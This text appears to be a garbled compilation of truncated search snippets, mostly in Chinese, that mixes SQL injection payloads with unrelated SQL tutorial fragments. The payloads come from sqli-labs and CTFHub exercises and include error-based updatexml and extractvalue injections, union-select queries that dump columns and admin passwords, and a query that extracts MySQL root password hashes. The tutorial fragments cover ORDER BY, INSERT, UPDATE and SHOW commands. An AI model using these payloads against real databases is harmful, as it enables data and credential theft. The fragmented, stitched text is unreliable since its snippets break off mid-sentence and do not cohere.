http://127.0.0.1/sql1/Less-46/?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+ 1. 查看username,password字段下的所有值 http://1
columns where table_name='flag'))) --+ 得到了列名只有:flag 6、爆字段内容 代码语言:javascript 代码运行次数:0 运行 AI代码解释 http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=-1 union select 1,extractvalue(1,concat(0x7e,(select flag from flag))) --+ 这个时候查询 flag ...
ORDER BY City; INSERTINTO 插入语句 该INSERT INTO语句用于在表中插入新记录。 INSERT语法 可以INSERT INTO 用两种方式编写语句: 1- 指定要插入的列名和值: INSERT INTOtable_name(column1, column2, column3, ...)VALUES(value1, value2, value3, ...); 2-如果要为表的所有列添加值,则无需在 SQL 查...
orderpriority] ASC)) |--Merge Join(Left Semi Join, MERGE: ([ORDERS].[o_orderkey])= ([LINEITEM].[l_orderkey]), RESIDUAL:([ORDERS].[o_orderkey]= [LINEITEM].[l_orderkey])) |--Sort(ORDER BY:([ORDERS].[o_orderkey] ASC)) | |--Parallelism(Repartition Streams, PARTITION COLUMNS...
'union select 1,column_name from information_schema.columns where table_name='abc'#; 查询当前数据库下数据表abc的字段user的数据: 'union select 1,user from abc#; 查询MySQL的root用户和密码hash值: 'union select user,authentication_string from mysql.user# ...
1.select column_name from information_schema.columns where table_schema=‘database_name’ and table_name=‘users’; 2.select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag’; ...
ORDERBYProductNameDESC; Try it Yourself » ORDER BY Several Columns The following SQL statement selects all customers from the "Customers" table, sorted by the "Country" and the "CustomerName" column. This means that it orders by Country, but if some rows have the same Country, it orders...
SHOW COLUMNS SHOW CONNECTIONS SHOW CREATE TABLE SHOW CREDENTIALS SHOW DATABASES SHOW FUNCTIONS SHOW GROUPS 顯示位置 SHOW PARTITIONS 顯示程序 SHOW PROVIDERS SHOW RECIPIENTS SHOW SCHEMAS SHOW SHARES SHOW SHARES IN PROVIDER SHOW TABLE EXTENDED SHOW TABLES SHOW TABLES DROPPED SHOW TBLPROPERTIES SHOW USERS SHOW...
HAVING子句:通常和 GROUP BY 子句联合使用,用来过滤由 GROUP BY 子句返回的结果集。 UPDATE UPDATE命令用于更新数据库中的数据,它的用法如下: UPDATE<表名>SET字段1=值1[,字段2=值2…][WHERE子句][ORDERBY子句][LIMIT子句] #在 tb_courses_new 表中,更新所有行的 course_grade 字段值为 4updatetb_courses...
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 查询数据 ?id=1 and 1=2 union select 1,password from admin limit 0,1 limit m,n # 查询m+1行的n条数据。限制输出的意思。 库的名字:information_sch...